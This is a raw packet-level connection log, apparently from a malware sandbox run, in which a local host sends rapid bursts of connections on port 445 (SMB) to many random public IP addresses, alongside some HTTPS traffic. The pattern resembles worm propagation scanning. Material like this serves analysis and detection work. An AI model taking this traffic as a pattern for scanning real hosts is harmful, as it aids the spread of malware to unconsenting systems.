Jul 20, 2022 19:08:53.792172909 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.792233944 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.792279005 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.820333004 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.820373058 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.820386887 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.820458889 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:54.629362106 CEST	53200	445	192.168.2.7	130.247.155.143
Jul 20, 2022 19:08:54.633532047 CEST	53206	445	192.168.2.7	101.49.42.125
Jul 20, 2022 19:08:54.636867046 CEST	53210	445	192.168.2.7	179.25.19.12
Jul 20, 2022 19:08:54.638323069 CEST	53212	445	192.168.2.7	64.128.225.122
Jul 20, 2022 19:08:54.639086962 CEST	53213	445	192.168.2.7	41.214.145.18
Jul 20, 2022 19:08:54.639863014 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:54.640630960 CEST	53215	445	192.168.2.7	6.50.113.195
Jul 20, 2022 19:08:54.641354084 CEST	53216	445	192.168.2.7	90.104.106.70
Jul 20, 2022 19:08:54.649916887 CEST	53218	445	192.168.2.7	108.8.210.252
Jul 20, 2022 19:08:54.650816917 CEST	53219	445	192.168.2.7	135.236.150.210
Jul 20, 2022 19:08:54.651613951 CEST	53220	445	192.168.2.7	63.186.125.24
Jul 20, 2022 19:08:54.652359009 CEST	53221	445	192.168.2.7	123.197.214.122
Jul 20, 2022 19:08:54.653090000 CEST	53222	445	192.168.2.7	205.62.204.55
Jul 20, 2022 19:08:54.653799057 CEST	53223	445	192.168.2.7	60.55.181.217
Jul 20, 2022 19:08:54.654531956 CEST	53224	445	192.168.2.7	102.233.128.102
Jul 20, 2022 19:08:54.655369997 CEST	53225	445	192.168.2.7	177.20.209.167
Jul 20, 2022 19:08:54.656677008 CEST	53227	445	192.168.2.7	133.96.29.140
Jul 20, 2022 19:08:54.657582045 CEST	53228	445	192.168.2.7	149.160.109.218
Jul 20, 2022 19:08:54.663592100 CEST	53234	445	192.168.2.7	76.14.138.162
Jul 20, 2022 19:08:54.664463043 CEST	53235	445	192.168.2.7	45.138.145.143
Jul 20, 2022 19:08:54.665245056 CEST	53236	445	192.168.2.7	63.107.119.197
Jul 20, 2022 19:08:54.666071892 CEST	53237	445	192.168.2.7	160.195.158.216
Jul 20, 2022 19:08:54.667746067 CEST	53239	445	192.168.2.7	221.48.34.207
Jul 20, 2022 19:08:54.670167923 CEST	53242	445	192.168.2.7	210.113.215.252
Jul 20, 2022 19:08:54.672312021 CEST	53245	445	192.168.2.7	2.34.223.215
Jul 20, 2022 19:08:54.673072100 CEST	53246	445	192.168.2.7	201.25.158.101
Jul 20, 2022 19:08:54.684350967 CEST	445	53235	45.138.145.143	192.168.2.7
Jul 20, 2022 19:08:54.761713028 CEST	53249	445	192.168.2.7	74.34.111.177
Jul 20, 2022 19:08:54.762681007 CEST	53250	445	192.168.2.7	36.92.64.169
Jul 20, 2022 19:08:54.763499975 CEST	53251	445	192.168.2.7	156.226.227.86
Jul 20, 2022 19:08:54.764235020 CEST	53252	445	192.168.2.7	116.93.33.213
Jul 20, 2022 19:08:54.774996042 CEST	445	53206	101.49.42.125	192.168.2.7
Jul 20, 2022 19:08:54.818043947 CEST	445	53214	192.56.37.106	192.168.2.7
Jul 20, 2022 19:08:54.818295956 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:54.883642912 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:55.063251972 CEST	445	53256	192.56.37.1	192.168.2.7
Jul 20, 2022 19:08:55.063519955 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:55.145564079 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:55.314861059 CEST	53235	445	192.168.2.7	45.138.145.143
Jul 20, 2022 19:08:55.327796936 CEST	445	53259	192.56.37.1	192.168.2.7
Jul 20, 2022 19:08:55.328041077 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:55.338289976 CEST	445	53235	45.138.145.143	192.168.2.7
Jul 20, 2022 19:08:55.439743042 CEST	53206	445	192.168.2.7	101.49.42.125
Jul 20, 2022 19:08:55.439770937 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:55.581057072 CEST	445	53206	101.49.42.125	192.168.2.7
Jul 20, 2022 19:08:55.721115112 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:55.939863920 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:56.114226103 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:56.221122980 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:56.528456926 CEST	53262	445	192.168.2.7	103.60.19.119
Jul 20, 2022 19:08:56.532438040 CEST	53268	445	192.168.2.7	198.10.1.6
Jul 20, 2022 19:08:56.537049055 CEST	53273	445	192.168.2.7	64.106.244.160
Jul 20, 2022 19:08:56.537955999 CEST	53274	445	192.168.2.7	77.251.210.130
Jul 20, 2022 19:08:56.538779974 CEST	53275	445	192.168.2.7	4.131.115.13
Jul 20, 2022 19:08:56.577672005 CEST	53279	445	192.168.2.7	152.87.18.107
Jul 20, 2022 19:08:56.627563000 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:56.667146921 CEST	53280	445	192.168.2.7	92.78.114.1
Jul 20, 2022 19:08:56.668873072 CEST	53281	445	192.168.2.7	158.115.136.132
Jul 20, 2022 19:08:56.669037104 CEST	53282	445	192.168.2.7	70.115.110.178
Jul 20, 2022 19:08:56.669181108 CEST	53283	445	192.168.2.7	171.159.223.203
Jul 20, 2022 19:08:56.669295073 CEST	53284	445	192.168.2.7	115.10.86.107
Jul 20, 2022 19:08:56.669425011 CEST	53285	445	192.168.2.7	196.117.153.220
Jul 20, 2022 19:08:56.669538021 CEST	53286	445	192.168.2.7	95.85.166.24
Jul 20, 2022 19:08:56.669639111 CEST	53287	445	192.168.2.7	183.178.94.97
Jul 20, 2022 19:08:56.669852018 CEST	53289	445	192.168.2.7	176.225.169.130
Jul 20, 2022 19:08:56.670058966 CEST	53292	445	192.168.2.7	103.252.119.188
Jul 20, 2022 19:08:56.670186043 CEST	53293	445	192.168.2.7	18.251.218.67
Jul 20, 2022 19:08:56.670314074 CEST	53294	445	192.168.2.7	33.175.111.7
Jul 20, 2022 19:08:56.671399117 CEST	53295	445	192.168.2.7	125.32.23.168
Jul 20, 2022 19:08:56.671575069 CEST	53297	445	192.168.2.7	131.191.128.29
Jul 20, 2022 19:08:56.671780109 CEST	53300	445	192.168.2.7	213.101.50.110
Jul 20, 2022 19:08:56.671977997 CEST	53303	445	192.168.2.7	114.188.163.19
Jul 20, 2022 19:08:56.672094107 CEST	53304	445	192.168.2.7	149.209.113.233
Jul 20, 2022 19:08:56.672343969 CEST	53307	445	192.168.2.7	200.180.126.111
Jul 20, 2022 19:08:56.672466040 CEST	53308	445	192.168.2.7	63.74.42.182
Jul 20, 2022 19:08:56.680114985 CEST	53314	445	192.168.2.7	208.228.30.221
Jul 20, 2022 19:08:56.680217028 CEST	53315	445	192.168.2.7	130.114.206.237
Jul 20, 2022 19:08:56.680335045 CEST	53316	445	192.168.2.7	94.162.241.17
Jul 20, 2022 19:08:56.680433035 CEST	53317	445	192.168.2.7	128.227.28.201
Jul 20, 2022 19:08:57.127392054 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:57.436517000 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:57.736866951 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:59.044384956 CEST	53323	445	192.168.2.7	197.90.97.145
Jul 20, 2022 19:08:59.045392036 CEST	53324	445	192.168.2.7	132.79.75.16
Jul 20, 2022 19:08:59.046303034 CEST	53325	445	192.168.2.7	104.221.90.172
Jul 20, 2022 19:08:59.107424974 CEST	53329	445	192.168.2.7	4.44.249.16
Jul 20, 2022 19:08:59.162862062 CEST	53335	445	192.168.2.7	51.223.60.69
Jul 20, 2022 19:08:59.162955999 CEST	53336	445	192.168.2.7	155.178.154.198
Jul 20, 2022 19:08:59.163043022 CEST	53337	445	192.168.2.7	210.4.251.182
Jul 20, 2022 19:08:59.163202047 CEST	53338	445	192.168.2.7	25.200.114.115
Jul 20, 2022 19:08:59.163307905 CEST	53339	445	192.168.2.7	138.162.38.161
Jul 20, 2022 19:08:59.163436890 CEST	53341	445	192.168.2.7	2.19.56.202
Jul 20, 2022 19:08:59.163566113 CEST	53342	445	192.168.2.7	107.241.254.95
Jul 20, 2022 19:08:59.163714886 CEST	53345	445	192.168.2.7	12.127.142.4
Jul 20, 2022 19:08:59.164021969 CEST	53349	445	192.168.2.7	42.158.250.10
Jul 20, 2022 19:08:59.164129019 CEST	53350	445	192.168.2.7	33.96.232.13
Jul 20, 2022 19:08:59.164242029 CEST	53351	445	192.168.2.7	208.109.181.57
Jul 20, 2022 19:08:59.164366961 CEST	53352	445	192.168.2.7	180.40.158.14
Jul 20, 2022 19:08:59.164462090 CEST	53353	445	192.168.2.7	99.19.24.102
Jul 20, 2022 19:08:59.164563894 CEST	53354	445	192.168.2.7	160.139.45.86
Jul 20, 2022 19:08:59.164680958 CEST	53355	445	192.168.2.7	28.224.158.166
Jul 20, 2022 19:08:59.164796114 CEST	53356	445	192.168.2.7	170.240.57.85
Jul 20, 2022 19:08:59.164946079 CEST	53359	445	192.168.2.7	77.142.202.254
Jul 20, 2022 19:08:59.165106058 CEST	53361	445	192.168.2.7	114.138.182.77
Jul 20, 2022 19:08:59.165245056 CEST	53363	445	192.168.2.7	28.251.131.178
Jul 20, 2022 19:08:59.165271997 CEST	53362	445	192.168.2.7	205.59.210.176
Jul 20, 2022 19:08:59.165384054 CEST	53365	445	192.168.2.7	203.12.20.20
Jul 20, 2022 19:08:59.165491104 CEST	53368	445	192.168.2.7	35.126.63.12
Jul 20, 2022 19:08:59.165652990 CEST	53371	445	192.168.2.7	190.58.242.114
Jul 20, 2022 19:08:59.165667057 CEST	53372	445	192.168.2.7	101.131.66.194
Jul 20, 2022 19:08:59.165800095 CEST	53375	445	192.168.2.7	1.41.112.66
Jul 20, 2022 19:08:59.165870905 CEST	53376	445	192.168.2.7	38.214.242.230
Jul 20, 2022 19:08:59.440090895 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:08:59.613051891 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:08:59.940156937 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:00.162303925 CEST	53384	445	192.168.2.7	22.66.227.104
Jul 20, 2022 19:09:00.167675018 CEST	53385	445	192.168.2.7	158.176.30.199
Jul 20, 2022 19:09:00.169070959 CEST	53386	445	192.168.2.7	58.64.117.89
Jul 20, 2022 19:09:00.223727942 CEST	53391	445	192.168.2.7	141.70.30.144
Jul 20, 2022 19:09:00.285610914 CEST	53393	445	192.168.2.7	7.171.219.192
Jul 20, 2022 19:09:00.286672115 CEST	53395	445	192.168.2.7	193.167.234.182
Jul 20, 2022 19:09:00.287265062 CEST	53396	445	192.168.2.7	101.142.167.254
Jul 20, 2022 19:09:00.288317919 CEST	53398	445	192.168.2.7	214.162.201.33
Jul 20, 2022 19:09:00.290499926 CEST	53402	445	192.168.2.7	138.233.224.245
Jul 20, 2022 19:09:00.291692019 CEST	53404	445	192.168.2.7	180.177.54.238
Jul 20, 2022 19:09:00.292210102 CEST	53405	445	192.168.2.7	36.243.137.98
Jul 20, 2022 19:09:00.292767048 CEST	53406	445	192.168.2.7	39.30.233.172
Jul 20, 2022 19:09:00.293771029 CEST	53408	445	192.168.2.7	151.181.3.186
Jul 20, 2022 19:09:00.295264959 CEST	53411	445	192.168.2.7	82.254.49.104
Jul 20, 2022 19:09:00.295835972 CEST	53412	445	192.168.2.7	179.25.171.137
Jul 20, 2022 19:09:00.296348095 CEST	53413	445	192.168.2.7	96.211.213.211
Jul 20, 2022 19:09:00.296894073 CEST	53414	445	192.168.2.7	162.238.16.55
Jul 20, 2022 19:09:00.297430038 CEST	53415	445	192.168.2.7	38.239.140.138
Jul 20, 2022 19:09:00.297965050 CEST	53416	445	192.168.2.7	105.13.163.246
Jul 20, 2022 19:09:00.298491955 CEST	53417	445	192.168.2.7	37.110.173.90
Jul 20, 2022 19:09:00.298989058 CEST	53418	445	192.168.2.7	100.59.186.59
Jul 20, 2022 19:09:00.301163912 CEST	53422	445	192.168.2.7	82.44.254.118
Jul 20, 2022 19:09:00.302723885 CEST	53425	445	192.168.2.7	34.216.223.236
Jul 20, 2022 19:09:00.304451942 CEST	53428	445	192.168.2.7	31.36.27.222
Jul 20, 2022 19:09:00.305182934 CEST	53429	445	192.168.2.7	169.53.18.170
Jul 20, 2022 19:09:00.305788040 CEST	53430	445	192.168.2.7	174.38.197.94
Jul 20, 2022 19:09:00.309189081 CEST	53431	445	192.168.2.7	99.62.146.98
Jul 20, 2022 19:09:00.310058117 CEST	53432	445	192.168.2.7	115.239.170.97
Jul 20, 2022 19:09:00.318836927 CEST	53441	445	192.168.2.7	53.83.106.69
Jul 20, 2022 19:09:00.650000095 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.650073051 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.650250912 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.650806904 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.650839090 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.687799931 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.688098907 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.692886114 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.695430040 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.695504904 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.764918089 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.764949083 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.764969110 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.765162945 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.765173912 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.765223980 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.766638041 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.766666889 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.766776085 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.766786098 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.766819000 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.766838074 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.767157078 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.767220020 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.768249989 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.768274069 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.768403053 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.768410921 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.768451929 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.781461954 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.781496048 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.781671047 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.781683922 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.782615900 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.783579111 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.783698082 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.785052061 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.785084009 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.785232067 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.785243034 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.785275936 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.785284042 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.786819935 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.786848068 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.787101984 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.787122965 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.787245035 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.787597895 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.787736893 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.799828053 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.799869061 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.800079107 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.800095081 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.802162886 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.803261995 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.803298950 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.803436041 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.803448915 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.803509951 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.803565025 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.803646088 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.805192947 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.805223942 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.805356979 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.805370092 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.806123018 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.806941986 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.806972027 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.807045937 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.807120085 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.807132006 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.807193041 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.807250977 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.809232950 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.809261084 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.809396982 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.809407949 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.810148954 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.810998917 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.811036110 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.811167002 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.811183929 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.811335087 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.811434984 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.811450005 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.811497927 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.813214064 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.813251972 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.813383102 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.813437939 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.813522100 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.814467907 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.814501047 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.814579964 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.814594030 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.814630032 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.814645052 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.815320015 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.815396070 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.817512989 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.817553043 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.817643881 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.817661047 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.817703009 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.817728043 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.818636894 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.818669081 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.818726063 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.818737030 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.818773031 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.818795919 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.819571972 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.819652081 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.820821047 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.820854902 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.820919037 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.820930004 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.820956945 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.820980072 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.822639942 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.822674990 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.822782993 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.822794914 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.822871923 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.823062897 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.823072910 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.823206902 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.824340105 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.824388981 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.824460030 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.824493885 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.824511051 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.824832916 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.825937986 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.825980902 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.826112986 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.826186895 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.826203108 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.826261997 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.827068090 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.827116966 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.827294111 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.827343941 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.827471972 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.829056025 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.829111099 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.829164028 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.829185963 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.829199076 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.829305887 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.829406977 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.829426050 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.829596043 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.830558062 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.830605984 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.830684900 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.830698967 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.830763102 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.831494093 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.831548929 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.831635952 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.831650972 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.831693888 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.831700087 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.831857920 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.831935883 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.833143950 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.833185911 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.833338022 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.833353043 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.834038019 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.834073067 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.834172010 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.834183931 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.834233046 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:00.834506035 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:00.834610939 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.040515900 CEST	443	53444	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.040632010 CEST	53444	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.149128914 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:01.149178028 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:01.149681091 CEST	53446	443	192.168.2.7	80.67.82.211
